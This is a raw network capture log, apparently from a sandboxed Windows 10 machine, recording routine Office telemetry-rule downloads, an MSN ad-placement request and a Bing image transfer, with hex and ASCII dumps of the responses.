2024-11-23 01:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:18 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 51fbd25c-e01e-0020-5e4d-3cde90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015518Z-15b8b599d88qw29phC1TEB5zag000000027000000000dmsk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:19 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.6	49730	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:18 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:18 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: ce5ebd39-a01e-0053-183c-3c8603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015518Z-15b8b599d88l2dpthC1TEBmzr0000000025g00000000f4rb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:19 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.6	49727	20.199.58.43	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:19 UTC	2608	OUT	GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241123T015515Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=d5428c546e61491186dfb391cab69572&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=597337&metered=false&nettype=ethernet&npid=sc-338388&oemName=xxwgim%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=xxwgim20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=597337&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail [TRUNCATED] Accept-Encoding: gzip, deflate X-SDK-CACHE: cid=531098720&chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6 X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAbmC052WmI0pNI/bdLeJUMwBCdJIhxxfMAmyJ9sh6VNZm94H0/15YJtSzwUqn20Upwd5FV8IuFfZgFMTtlZcDnNXrPIkFG4bXSmzp7wOVW/v0Nqk7q0qk//knZS0NQyXU0Svf3dpIlhuWXWExLvqHC//Sb+ZFJN8kPI3z8gcvXYjP7oxzqqKiAqzvyG7WpzN+ddmm5a8+u7u1zdJIam9etrgjAZppwbtzAlbCJv9YsNSKY/JkWHmRCpsFeRWU0K65586em66NHnz1WbhBJNlD2LRVxMMjKVtNlwcB+KzqNrL7LFIs1wTwUA0p4cy9fJtoe50tZbNNCdRU1cQMQY5zcgQZgAAEGp9Qlz/wWITHsNKn67BbRCwAf9W6l0KBptXKjwan4bt6Jq75Sd7xvr10UCnos27/nfrcMQrsXeVoDPqY+P7nUtMQuddYXImTFaWEs8q2g7Eb9O7QCTXuZDw50Xwv0uC02M8ppYWlxltMnDUHhFfaHWFfMFQKHovAOflgwrI8VY+cUzSdX4i946K+4lAVzlFmBXk22VYrhE4v74P4H4AyBRjJK35WuLSYr3bp0kD+0lqAZNoQkLM3dM1B7S//ABSdK8myhlt+7RWe4ZOVYG3LHPjJl4sOCW/nXKav3Y0r/amWXm34ukwOt9v3aflP/PFv8Qm1B4wV4p5v9D1UsWB0OYg5fNkC8yTky60BaJua0HqcvJj1zaReEz7+nSa+HGHvkFefmema0VPyd4fXkRSLhYyvPU1Tp3UoRdPp7n+sq9X8P7afomrmQWLGvbcM+syWhO8A5x3lkFVm4nARxBW8rIsNDXRwCj2rqR4O8OchB6JWVeEY4TniJAQ108Lkdr+3Ed+9/Gje/6p3FNe7wIZkEOEVSjH+h30J3vesTpdnM98dEKAl73KD2MssiJgb6wgiM/v4G/QwTBmJPccsCxkJkvPQdcB&p= Cache-Control: no-cache MS-CV: xXqcPXnFSkyQ2Zvx.0 User-Agent: WindowsShellClient/9.0.40929.0 (Windows) X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0 Host: arc.msn.com Connection: Keep-Alive
2024-11-23 01:55:19 UTC	814	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 4043 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [] X-ARC-SIG: lUmwGxJ1VRjvZgRCV19y6VD8FEfzxlFquqhLxRQZtogdd6YMoqVbB5JvUV1GKFANAjb8r/R2v2CUwOHzsD85c3ZyFLlvRJ/dY57evTmqXH3GQWU8fyVEg/RfxvuApE7l5JqEJfkmmeS9QkEQOC6F6jYsPiKEpgVMNaAhF1sb22Aa86U07nLpX0fbKNFMreu5hcj6udvk3Eufl8apyLHwKV6GJQCP89N1tLwjSxbX3t1muHYlLJCZBjQfQFkqhR+w2qZobmzzbl8nB/ruAVVwAgqTBUggfZOu/nci+Lf6zJIk5StBVdg5hQZ2YrfH7RsI8KSEUBXgJp9LvNVUoGA8lA== Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Sat, 23 Nov 2024 01:55:18 GMT Connection: close
2024-11-23 01:55:19 UTC	4043	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64 72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 6e 61 6d 65 5c 22 3a 5c 22 53 75 67 67 65 73 74 69 6f 6e 73 4f 6e 53 74 61 72 74 5c 22 2c 5c 22 70 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 74 5c 22 3a 7b 7d 2c 5c 22 70 72 6f 70 65 72 74 69 65 73 5c 22 3a 7b 7d 2c 5c 22 74 72 61 63 Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedContent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"name\":\"SuggestionsOnStart\",\"propertyManifest\":{},\"properties\":{},\"trac

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:19 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 01:55:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 01:55:19 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: a3d07856-b01e-0084-3a7e-3bd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T015519Z-174c587ffdf59vqchC1TEByk6800000002e0000000009g2e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 01:55:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49733	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 01:55:19 UTC	375	OUT	GET /th?id=OADD2.10239370639330_1D80T5H13WVAODNQ8&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-23 01:55:19 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 835660 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: E9ED34CA757749268B053DBF20885D89 Ref B: EWR30EDGE1610 Ref C: 2024-11-23T01:55:19Z Date: Sat, 23 Nov 2024 01:55:18 GMT Connection: close
2024-11-23 01:55:19 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 1c 64 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 33 3a 31 31 3a 32 31 20 31 36 3a 32 33 3a 34 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 07 80 a0 03 00 04 00 00 00 01 00 00 04 38 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``dExifMM*bj(1r2i``Adobe Photoshop 25.1 (Windows)2023:11:21 16:23:408
2024-11-23 01:55:19 UTC	16384	IN	Data Raw: fd f2 c9 27 cd ff 00 2c 69 d1 c7 3f 97 b9 53 e5 6f e3 aa 52 95 f7 38 6b 6a b5 64 72 47 e5 41 e5 af fa b6 fe 0a a2 b0 2a 49 be 34 dd b6 ad dd 45 2b c8 9f bc 8d da ab 63 3b be 7d ad 5b 43 53 86 a4 ba 14 e6 6d af ba 3f bd 51 b1 95 a4 ab d3 27 97 fd da af 70 aa 7e 65 ad 14 50 e1 3b 91 ac bf dd 4a 31 24 8f fe f5 3d 91 47 dd 7f 9a a5 b7 45 f3 37 48 ff 00 2d 1a 0d c9 21 ab 6c d6 bf bd 3f 35 41 71 27 99 f7 aa cd d6 d2 fb 43 ff 00 c0 aa ab 06 67 da b5 36 08 5d ea f7 22 64 6a 23 4c 7d ea b3 e5 7c 9c 54 a6 2d bf 7a 8d 8a 75 0a 6a 1b 75 5c b7 2c 29 70 b5 23 47 f2 ee a6 8c a5 52 e5 ab 39 3c df f7 aa d4 47 1f 76 b3 6d 65 f2 fe 5a d0 b7 7d d4 8e 2a b1 b3 f2 2d c6 8c d4 93 44 bf c5 4f 8d d7 7e d5 ff 00 81 54 db 73 d6 8d ce 27 26 99 4d 76 fd c5 4a 9e 35 53 f2 d0 d1 fc f4 Data Ascii: ',i?SoR8kjdrGAI4E+c;}[CSm?Q'p~eP;J1$=GE7H-!l?5Aq'Cg6]"dj#L}\|T-zuju\,)p#GR9<GvmeZ}-DO~Ts'&MvJ5S
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: c1 24 5f f3 f7 e4 c8 bf 6c 7f b9 9f 9f 9f 94 ee ae 4b c3 be 24 b1 d7 b5 5d 26 f2 4d 76 ea de 4f 9b ed 71 43 b5 9b 9d fb b6 f0 31 9f ba 77 67 e5 ad 3f b4 58 ea 3e 2a 5d 37 4b d7 92 5d 3f ec fe 57 92 ef 27 9f 32 ed d8 51 8a af de 46 e4 0f 4a d6 38 49 54 4e 37 e5 fc cf 62 9c e5 5a 16 93 1b aa 58 68 be 64 d6 77 9e 1e 82 5b 88 bf 7f 6f 35 a4 0b 3c f6 79 fb b1 e1 ff 00 8b ee f4 5c d7 25 e3 2f 08 bc 1a 83 6a ba c6 85 ac 45 75 3b ac 76 2f 7d 1b 5a ad 9a 8f bb e5 27 43 fe 73 5e 91 63 f6 6f 07 f8 ab fb 63 c2 ff 00 f0 91 c5 34 56 fb 5d f5 68 3c fb 37 90 af cb f3 a1 dc 9e d5 e7 9f 1a a4 f1 7c 57 56 fa 96 a1 ab 5d 4f ab 5e 6e 93 ec f7 73 ac ed 6a bf ec 7c d8 da 47 d2 bb 30 35 31 34 2b a8 c6 dc bd db 6f ee 5f ad ce 2a 98 58 c6 77 b1 e7 fe 28 f1 4d 9f 87 ee ae ed f4 fb Data Ascii: $_lK$]&MvOqC1wg?X>]7K]?W'2QFJ8ITN7bZXhdw[o5<y\%/jEu;v/}Z'Cs^coc4V]h<7\|WV]O^nsj\|G0514+o_Xw(M
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: c2 c5 1b 7b 7f a4 5c 3b 45 3b e5 bf da c8 e0 7f 74 54 77 5e 21 d7 2f ee ad e1 f0 ae 9b 1b 69 ff 00 6b 68 a5 86 ee e9 a5 fb 4a 86 f9 9e 2f 37 3b 91 4f f7 5b 23 d2 b6 ef b5 4f 0e 6a f6 3f 65 ff 00 89 ad be b5 14 cd 14 df 67 4f dd 4d 1f f7 70 f8 08 cb b7 b1 ae 9a b8 74 af 28 68 df 5e a6 d0 ad 39 db 99 68 50 9b c5 12 e8 9a 6a 5c 6a 17 fe 6c 76 bf 2a 5c 79 7f 71 8b 7d ef f6 c5 69 37 8a e3 d2 3c 54 8d a7 c1 23 42 d0 aa dc 5b c3 f3 2b b7 97 f3 4b bb 77 7d db f3 f4 ac df 1a 41 e1 cd 7b c3 30 d9 e9 be 65 d3 7d ad 7e dc f3 3b 79 bb 47 f0 c6 bf 77 6f cb cb 2f f0 d6 3c 97 1a 36 93 a9 4d 75 fd a5 6b fd 9b 15 a4 3b 2f ac 77 4f b3 7a f0 a3 23 e4 db b3 9a e4 a7 84 52 a7 7b 6a cc ea 62 39 aa 28 5f 44 77 eb e2 bb 3d 2f ed 7a b4 97 f2 34 cb 6f e5 42 9b 15 9b ea 71 c3 57 1f Data Ascii: {\;E;tTw^!/ikhJ/7;O[#Oj?egOMpt(h^9hPj\jlv*\yq}i7<T#B[+Kw}A{0e}~;yGwo/<6Muk;/wOz#R{jb9(_Dw=/z4oBqW
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: d4 f1 e4 f0 4f e3 14 d6 9a c6 d6 fe 15 99 96 6b 4d 8b b5 23 0b 80 0d 75 37 5a 47 82 6f 2e ad ef 26 82 35 fb 46 d5 89 13 e5 fd e1 ff 00 57 f2 8f bb 5c 4a bf b2 84 6a 49 b6 e4 bf a4 6d 28 ab b5 d1 1c 4a cf 73 6b 3f 9d 67 e6 5b c7 2a 2e c7 77 dc af f2 8f 97 d0 f5 e4 76 ad 7d 3f 50 b3 b7 d3 7e c2 b1 c0 cd 2b af da 13 63 79 5b 7a fc f5 9f e3 23 2e 9b a9 5c 47 e4 79 b0 da bc 8b 0f cf e6 f9 39 c2 02 bd b7 66 ad 78 46 ca f2 d6 7b 18 f5 0b 4b ab 8d 16 f2 66 89 37 ce b7 52 c2 c5 b6 3f cb c3 2f ad 6b 2c 3c 2b 43 9d 7a 82 aa e0 56 f1 06 8f e1 36 d0 ef af 23 d2 64 ba 6d eb 3d c2 23 b6 de 57 1b be 6f e1 03 ff 00 1e ac 8d 1f c1 fa 44 f3 ea 0b a6 ea 5f 60 fb 3d db 4f 35 c3 dd 47 6b 14 2a 57 6a 05 77 fb df f0 1e b5 df dc 78 93 4f b3 d5 6e e3 59 2c 62 b8 b7 45 8a 1f b4 47 Data Ascii: OkM#u7ZGo.&5FW\JjIm(Jsk?g[.wv}?P~+cy[z#.\Gy9fxF{Kf7R?/k,<+CzV6#dm=#WoD_`=O5GkWjwxOnY,bEG
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: 75 1f 85 6e e5 15 4a 4a 4b 6f d0 d3 0f 5e a3 9b 8d f4 46 fd 8e 9f a3 5b dd 5c 79 9a 2f db fe 75 59 b6 22 ed 75 ec bf 7b 3f 85 4b 75 06 95 0d f5 c6 a1 71 77 6b a3 5a c5 fe 9d 71 6c 9b 9b ed 32 0e df 37 1c 74 0b eb 51 e8 fa ce a5 06 a9 fd 93 a4 f8 7b 43 d4 7e cf e6 45 6f 7d e7 b2 cf 37 4c 3c 9f c2 d8 eb da b2 35 8f 0f f8 f1 75 cd b7 5a 6e 9d 71 35 e7 ef f6 3c eb 2a a3 6e f9 47 5c 27 0d f8 d7 24 a2 e4 ec de e7 75 4a f4 55 ae 53 9b e2 2d a6 ad e2 3b b9 21 9e fa 2f 36 25 68 5f e5 5f 25 51 be 7f 97 ee b7 bd 77 3e 1b 95 6f 77 dc 2e a5 26 a8 ab 71 fb eb 7b 89 fe 59 94 2e ef 2f d7 7f 6e 78 f9 78 35 e1 ea d7 9f f0 94 26 9b 71 63 e4 2c 57 2a b7 d2 bd 92 fc f3 19 33 b3 76 7e 4c 7c d8 ad ff 00 0e c5 ae 5c f8 c2 d3 4f d0 63 d5 6f d5 62 f9 e5 74 f2 9b ef 79 92 21 d9 90 Data Ascii: unJJKo^F[\y/uY"u{?KuqwkZql27tQ{C~Eo}7L<5uZnq5<nG\'$uJUS-;!/6%h__%Qw>ow.&q{Y./nxx5&qc,W3v~L\|\Ocobty!
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: a2 df dd 69 b1 dc 43 b6 de 17 83 cd df 1c 6c 33 b7 76 07 bf f7 ab bd 61 60 e0 9b 96 9e a2 72 b7 bd 73 27 c4 c7 c4 be 28 92 6d 3f 47 d3 75 2f b5 7f aa 87 c9 db 13 24 83 38 f3 a4 cf c9 bc 71 b1 7f 13 5d 57 8c 3c 35 63 75 e0 38 61 bc 83 fe 26 9a 4b ab 5d df 4d 74 b1 6f 8c 28 f3 36 aa f4 cb f4 f5 15 c8 f8 cb 5b d7 2e a7 d2 61 87 56 8e ea f1 51 65 b8 b7 44 dd fb ce 4f fa b1 f7 f0 bb 78 cd 5a f0 df 8d f5 3b 3b 19 ac fc 69 e7 dd 5a dc 5c 2f fa 3d ba 2c 4b b7 b7 98 c9 bb 72 83 db b5 75 d1 aa a1 4e 2e 0b 4f c4 c6 53 4f 5d cd 3d 43 e1 dd e6 93 a5 4d 6a b1 dd 6a 56 7b 37 25 be 97 02 ed 4d 8d f3 33 ab b0 27 7a e7 eb 5c 5a f8 56 c7 54 9d 1a 1f 0d d8 b2 ad c2 db 5a 5b ea 36 ac cd 34 85 77 fe e9 15 48 5c 77 cd 7a 0d c6 bf 16 a5 75 a8 47 ae 78 b2 3b 8b 86 b7 56 4b 8f 23 Data Ascii: iCl3va`rs'(m?Gu/$8q]W<5cu8a&K]Mto(6[.aVQeDOxZ;;iZ\/=,KruN.OSO]=CMjjV{7%M3'z\ZVTZ[64wH\wzuGx;VK#
2024-11-23 01:55:20 UTC	16065	IN	Data Raw: ff 00 ba ed df 8a ca 78 9a 69 39 4a 1a 1b 73 54 b6 fa 94 3e 0f e8 6b 71 6f 71 33 7d bb ed 92 ee 89 21 87 e5 57 52 a3 a9 35 93 e2 4d 03 c6 ba 5d ad c6 a9 67 a1 7d 82 16 9b 6d 8d bf 96 db b7 37 a7 f7 7d 79 af 78 f0 ed 9a b4 1b ad 60 8f 6b 7c a9 b1 36 b2 29 ff 00 0a a7 e2 ef 0f 6a 16 1e 19 be bc 8e ff 00 ed 97 0d b7 c9 b4 d8 cd bd 8f 19 5e 6b e6 aa e3 63 ed b6 56 7d 19 eb 61 79 9c 52 b9 e2 bf d9 ba 7d e7 82 d2 f2 f2 7f ec bd 72 7b 85 8e f9 2d d3 6b 23 15 db 9d a7 85 5f 5c 57 61 f1 f3 4d f1 77 89 ec b4 cd 07 58 d3 1f 56 ba 5b 48 56 de 5d 26 c6 35 96 e6 3d bf 24 8f c0 f9 b7 71 fe ed 75 d6 7a 3c be 14 f0 ed c7 99 a4 c1 aa 78 c2 2d d3 d8 ff 00 67 5a ac fb 30 b8 f9 8b ff 00 10 af 2b d7 3c 43 f1 47 c1 fa f2 7d aa 0b a5 fe d6 89 99 fe 4d d1 ed 3d 9f 67 a7 a7 6a e5 Data Ascii: xi9JsT>kqoq3}!WR5M]g}m7}yx`k\|6)j^kcV}ayR}r{-k#_\WaMwXV[HV]&5=$quz<x-gZ0+<CG}M=gj
2024-11-23 01:55:20 UTC	16384	IN	Data Raw: 61 a8 79 d7 56 49 77 19 42 85 5f f8 73 fc 43 dc 76 ab 1a 06 93 71 af 6a ed 1d b2 3a 42 9f 34 d2 ec dc b6 f1 ff 00 79 ea 55 a1 e8 67 a5 3b ff 00 2a 31 6a c5 cf 98 15 63 7d d9 5f e1 35 b9 e1 d7 f0 fd 8f c4 0b 57 d4 a0 92 fb 47 82 e3 f7 a9 17 de 99 05 47 f1 22 7d 3e e3 c6 17 b2 69 71 c8 96 ad 2e 51 1f ef 2f b5 1c fe fa 56 05 52 f5 14 6d a5 ae 57 d6 b5 75 be d1 b4 db 15 b2 8a 1f ec f8 99 4c ab f7 a5 cb 67 2d 59 4a 71 c8 eb 4c a2 aa 31 51 56 46 91 8a 8a b2 3a ed 3f 50 f0 e6 ab e3 1b 5b 8f 11 25 cd a6 99 1d be d9 cd a2 2b 48 ee b1 f6 cf 1f 33 55 8d 57 4c f0 d5 cf 80 e0 d5 ac ae 05 8d e2 ca e8 6d e6 66 66 b8 c6 09 e9 d3 15 c4 d2 ee f9 76 d6 72 a3 76 9c 64 d5 8c 7e ae 93 8f 2b 6a c2 51 45 15 b1 d0 14 51 45 00 14 51 45 00 14 51 45 00 7d a5 0e b1 7d 2c 96 8b a3 da Data Ascii: ayVIwB_sCvqj:B4yUg;*1jc}_5WGG"}>iq.Q/VRmWuLg-YJqL1QVF:?P[%+H3UWLmffvrvd~+jQEQEQEQE}},
